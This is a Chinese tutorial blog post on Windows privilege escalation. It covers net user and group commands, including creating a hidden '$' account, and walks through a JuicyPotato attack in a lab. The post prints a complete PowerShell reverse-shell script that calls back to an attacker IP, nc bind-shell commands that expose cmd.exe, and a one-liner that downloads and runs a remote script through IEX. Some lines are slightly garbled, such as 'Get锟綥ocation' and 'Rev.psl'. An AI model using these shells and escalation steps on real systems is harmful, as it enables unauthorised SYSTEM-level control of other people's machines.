Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Windows提权的基础学习

Windows提权的基础学习

作者头像
网e渗透安全部
发布于 2025-05-08 05:20:20
发布于 2025-05-08 05:20:20
18600
代码可运行
举报
文章被收录于专栏:白安全组白安全组
运行总次数:0
代码可运行

一、Windows用户与组

1、Windows用户的分类

guest:游客账户权限

user:普通用户权限

administrator:管理员用户权限

ststem:机器最高权限

2、用户相关命令

net user //查看有多少用户

net user administrator //查看administrator账户的信息

net user test passwd /add //创建用户设置密码

net user test /del //删除用户

net user test$ passwd /add //隐藏账户,影子用户,需要用管理组才能看到

3、组相关命令

net localgroup //查看有哪些组

net localgroup administrators //查看组中用户

net localgroup testgroup /add //增加组

二、Potalo家族提权

是通过各种方式和在本地NTLM中继承获取system令牌,再模拟令牌执行命令。

NTLM:简单来说,Windows会将密码放置内存中,NTLM hash加密之后,进行比对。

system令牌:用户登录之后,会有一个权限标识,可以比作我们的学生卡,教师卡,登录之后根据你的身份分配卡。

1、提权条件

获取高权限令牌--token

拥有SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限

可以利用whoami /priv命令查看是否有上面两个权限

以下用户拥有SeImpersonatePrivilege权限:

本地管理员账户和本地服务账户

由SCM(服务控制管理器)启动的服务

由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运⾏的COM服务器

当用户具有SeImpersonatePrivilege 特权,可以调⽤ CreateProcessWithTokenW 以某个Token的权限启动新进程。

当⽤户具有 SeAssignPrimaryTokenPrivilege 特权,可以调⽤ CreateProcessAsUserW

以指定⽤户权限启动新进程。

Windows 服务使⽤的登录账号:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
NT AUTHORITY\System
NT AUTHORITY\Network Service
NT AUTHORITY\Local Service

2、提权方式

1、JuicyPotato

实现原理

通过DCOM 来使服务向攻击者监听的端⼝发起连接并进⾏NTLM认证。

DCOM主要是Windows的一个封装的组件,可以交互通讯,利用这个接口,可以对网络发送请求。

枚举可⽤COM对象的⽅法(获取对应的 CLSID):

https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat

它的一个大概的方式,就是需要先获取对应的CLSID

每个dcom都会对应一个CLSID

https://ohpe.it/juicy-potato/CLSID/

实验

环境预设:

win7 -- 账户:bai(⾮administrators组),ip:192.168.195.129,拥有

SeImpersonatePrivilege(身份验证后模拟客户端) 权限。 这个权限正常是服务用户和管理员用户拥有,这里可以强行设置,为了实验

kali -- ip:192.168.195.130

这里首先我们模拟已经利用nc初步链接上了目标

目标端执行:

nc.exe -lvp 999 -e c:\windows\system32\cmd.exe

我们这里用一个正向链接

黑客端开启

nc -nv 目标ip 3333

获取到链接之后,可以使用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
chcp 65001

修改编码为utf-8

之后我们下一步操作,查找对应的CLSID

查找对应的CLSID

这里我们首先下载

https://github.com/ohpe/juicy-potato/tree/master

这里整个文件包,里面有一个test文件夹

然后我们需要下载juicypotato的exe文件

之后我们需要到CLSID文件夹中找到对应的系统

这里我们目前事win7,我们就需要到win7文件夹下面,复制CLSID.list到test文件夹下,然后再将上面的exe文件也放到test目录下,我们直接通过执行test_clsid.bat来测试

之后下面会有一个result.log文件,这里就是测试之后的日志,我们打开之后找后面事system权限的

然后复制前面的clsid进行测试,直到可用为止

提权

我们可以直接执行命令

JuicyPotato.exe -t * -p C:\windows\system32\cmd.exe -l 1337 -c

{03ca98d6-ff5d-49b8-abc6-03dd84127020}

调用出来system权限的cmd框,但是这里仅限于可以远程3389链接的主机,如果我们是纯粹的命令行要怎么办呢,这里我们就需要写一个bat脚本来运行一个nc,去连接到黑客机器来获取权限。我们也可以直接利用这个system权限去运行一个木马程序。

这里我们首先建一个rev.ps1文件,这个文件是powershell的运行文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function Invoke-PowerShellTcp
{
     [CmdletBinding(DefaultParameterSetName="reverse")] Param(
         [Parameter(Position = 0, Mandatory = $true,ParameterSetName="reverse")]
         [Parameter(Position = 0, Mandatory = $false,ParameterSetName="bind")]
         [String]
         $IPAddress,

         [Parameter(Position = 1, Mandatory = $true,ParameterSetName="reverse")]
         [Parameter(Position = 1, Mandatory = $true,ParameterSetName="bind")]
         [Int]
         $Port,

         [Parameter(ParameterSetName="reverse")]
         [Switch]
         $Reverse,

         [Parameter(ParameterSetName="bind")]
         [Switch]
         $Bind
 )

 try
 {
     #Connect back if the reverse switch is used.
     if ($Reverse)
     {
         $client = New-Object
         System.Net.Sockets.TCPClient($IPAddress,$Port)
     }
     #Bind to the provided port if Bind switch is used.
     if ($Bind)
     {
         $listener = [System.Net.Sockets.TcpListener]$Port
         $listener.start() 
         $client = $listener.AcceptTcpClient()
     }
     $stream = $client.GetStream()
     [byte[]]$bytes = 0..65535|%{0}
     #Send back current username and computername

     $sendbytes = ([text.encoding]::ASCII).GetBytes("WindowsPowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
     $stream.Write($sendbytes,0,$sendbytes.Length)

     #Show an interactive PowerShell prompt
     $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get锟綥ocation).Path + '>')
     $stream.Write($sendbytes,0,$sendbytes.Length)
     while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
     {
         $EncodedText = New-Object -TypeNameSystem.Text.ASCIIEncoding
         $data = $EncodedText.GetString($bytes,0, $i)
         try
         {
             #Execute the command on the target.
             $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
         }
         catch
         {
             Write-Warning "Something went wrong with execution of command on the target."
             Write-Error $_
         }
             $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
             $x = ($error[0] | Out-String)
             $error.clear()
             $sendback2 = $sendback2 + $x

             #Return the results
             $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
             $stream.Write($sendbyte,0,$sendbyte.Length)
             $stream.Flush() 
         }
         $client.Close()
         if ($listener)
         {
             $listener.Stop()
         }
     }
     catch
     {
         Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
         Write-Error $_
     }
}
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.195.130 -Port 9999

上面文件最后一样就是我们要连接的黑客机器的地址

然后我们需要新建一个rev.bat文件来运行这个powershell文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Powershell -executionpolicy unrestricted "IEX(New-Object Net.WebClient).DownloadString('http://172. 16.42.1/Rev.psl')"

我们这里就需要将ps1文件挂到服务器之类上面,提供远程下载,这样最后我们就可以以system权限,利用nc连接上

服务器开启远程下载

我这里使用bat文件

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Powershell -executionpolicy unrestricted "c:\nc.exe -lvp 9999 -e c:windows\system32\cmd.exe"

运行之后使用kali接收即可

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-05-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Windows 提权
当我们通过webshell拿到一个普通用户的权限,由于是普通用户所以很多操作都会受限制。这就需要通过一定的方法将普通用户提权到更高权限的用户。
鸿鹄实验室
2022/11/02
2.1K0
Windows 提权
Bypass Windows Defender Reverse Shell
本文将从powershell特性说起,一步步介绍powershell特性,并使用特性绕过Windows Defender Reverse Shell,并在最后给出自动化工具。
鸿鹄实验室
2021/04/15
1.2K0
Bypass Windows Defender Reverse Shell
Windows环境下反弹shell各类姿势
在渗透测试过程中我们有时候需要通过Windows平台来反弹shell到我们的VPS主机以及CS端,那么这个过程中我们就需要借助Windows平台内置的可执行程序来执行命令,其中首选的就是powershell,本篇文章我们主要介绍如何通过Windows平台中如何通过powershell来反弹shell操作
Al1ex
2025/01/07
6270
Windows环境下反弹shell各类姿势
Powercat.ps1脚本的用法
由于PowerCat是NetCat的PowerShell形式,所以,PowerCat可以无缝的和Netcat连接。PowerCat的用法和Netcat几乎一模一样。
谢公子
2022/01/20
7060
Powercat.ps1脚本的用法
项目实战 | 细节决定成败的渗透测试
个人水平有限,文章若有不足之处,感谢各位大佬批评指正,希望能够与各位师傅分享学习。
黑白天安全
2020/08/27
7110
项目实战 | 细节决定成败的渗透测试
CVE-2020-0618:SQL Server 远程代码执行复现
2月12日,微软发布安全更新披露了Microsoft SQL Server Reporting Services 远程代码执行漏洞(CVE-2020-0618)。SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS),是现在世界上广泛使用的数据库之一。
Timeline Sec
2020/04/27
2.2K0
SQL Server Reporting Services(CVE-2020-0618)中的RCE
SQL Server Reporting Services(SSRS)提供了一组本地工具和服务,用于创建,部署和管理移动报告和分页报告.
洛米唯熊
2020/02/25
1.8K0
SQL Server Reporting Services(CVE-2020-0618)中的RCE
Windows提权方法汇总
Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。 无引号服务路径有可能会导致这种情况的发生。 所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样
ConsT27
2022/02/11
1.4K0
Windows提权方法汇总
​hacker必会技能!
网络安全公司CrowdStrike发布了《2020全球威胁态势报告》,其研究结果显示“无文件恶意软件”攻击的趋势增加,无文件恶意软件的攻击数量超过了恶意软件的攻击数量。2019年,51%的攻击使用了无文件恶意软件技术,而在2018年,只有40%的攻击使用了无文件恶意软件技术。
Gamma实验室
2020/12/23
6050
​hacker必会技能!
Windows内网渗透常用命令总汇
net user 查看所有用户 net localgroup administrators 获取本地管理员信息
ConsT27
2022/02/11
1.9K0
Windows内网渗透常用命令总汇
Powershell免杀从入门到实践
在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。
FB客服
2021/03/09
3K0
红队技巧-持久性技巧
“今天,我将介绍关于hacker拿到一台服务器之后,如何建立持久性的后门的一些非常实用的小技巧!”
Gamma实验室
2020/12/23
1.3K0
红队技巧-持久性技巧
懒人必备之反弹SHELL
反弹 SHELL 是什么?其实是建立一个控制目标的简易管道,可以通过这个管道执行系统命令,而建立这个管道有非常多种方式,可以使用多种语言和命令,比如 python、bash、php、ruby 等,然后这些命令又记不住,每次使用都要去搜索或者去看以前的笔记,那么我这么懒,有没有一键生成所需 payload 呢?
信安之路
2022/04/07
1.3K0
懒人必备之反弹SHELL
攻防|反弹shell方式汇总
注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。
亿人安全
2024/04/19
1.3K0
攻防|反弹shell方式汇总
HTB-Shield通关过程
在github中下载dirsearch工具来爆破web路径,进入工具的路径下,执行
网络安全自修室
2021/06/21
4830
HTB-Shield通关过程
HTB平台Shield在线靶机通关实操过程
在github中下载dirsearch工具来爆破web路径,进入工具的路径下,执行
网络安全自修室
2021/11/25
1.1K0
HTB平台Shield在线靶机通关实操过程
如何使用RemotePotato0从普通用户提升至域管理员
RemotePotato0是一款功能强大的Windows提权工具,本质上来说RemotePotato0是一个漏洞利用工具,可以帮助广大研究人员在Windows系统上,从一个普通用户提权至域管理员权限。
FB客服
2021/09/16
7620
Invoke-PSObfuscation:一款功能强大的PowerShell Payload代码混淆工具
 关于Invoke-PSObfuscation  Invoke-PSObfuscation是一款功能强大的PowerShell Payload代码混淆工具,在该工具的帮助下,广大研究人员可以轻松对PowerShell Payload中的各个组件以及各部分代码进行混淆处理,以测试安全防护产品的检测性能。 传统的混淆技术倾向于通过添加代码/编码层来封装标准代码,例如base64或压缩等。这种技术所处理的Payload从某种程度上来说也能取得不错的效果,但在提取预期Payload时又往往会出各种问题,而且也容易被
FB客服
2023/04/26
8140
Invoke-PSObfuscation:一款功能强大的PowerShell Payload代码混淆工具
红队测试之Windows提权小结
本节主要针对Windows操作系统下的权限提升进行介绍,提权是后渗透重要的一环节,在权限较低的情况下,站在攻击者的视角进行内部网络安全测试、系统安全测试、应用安全测试等方面会出现“束缚”,所测试出的质量与结果也会不同。本文基于Win操作系统下分别从内核漏洞、权限配置、DLL注入、注册表等方面展开介绍,其中包含漏洞本身的介绍、漏洞复现过程等内容的展现。该提权内容的阅读没有前后顺序,可根据读者自身所需进行全文阅读或某方向内容的阅读。
FB客服
2021/03/09
1.2K0
红队测试之Windows提权小结
Hack the box-Json
大家好,今天给大家带来的CTF挑战靶机是来自hackthebox的“Json”,hackthebox是一个非常不错的在线实验平台,能帮助你提升渗透测试技能和黑盒测试技能,平台上有很多靶机,从易到难,各个级别的靶机都有。本级靶机难度为中等级别,任务是找到靶机上的user.txt和root.txt。
Khan安全团队
2020/03/09
8000
Hack the box-Json
相关推荐
Windows 提权
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验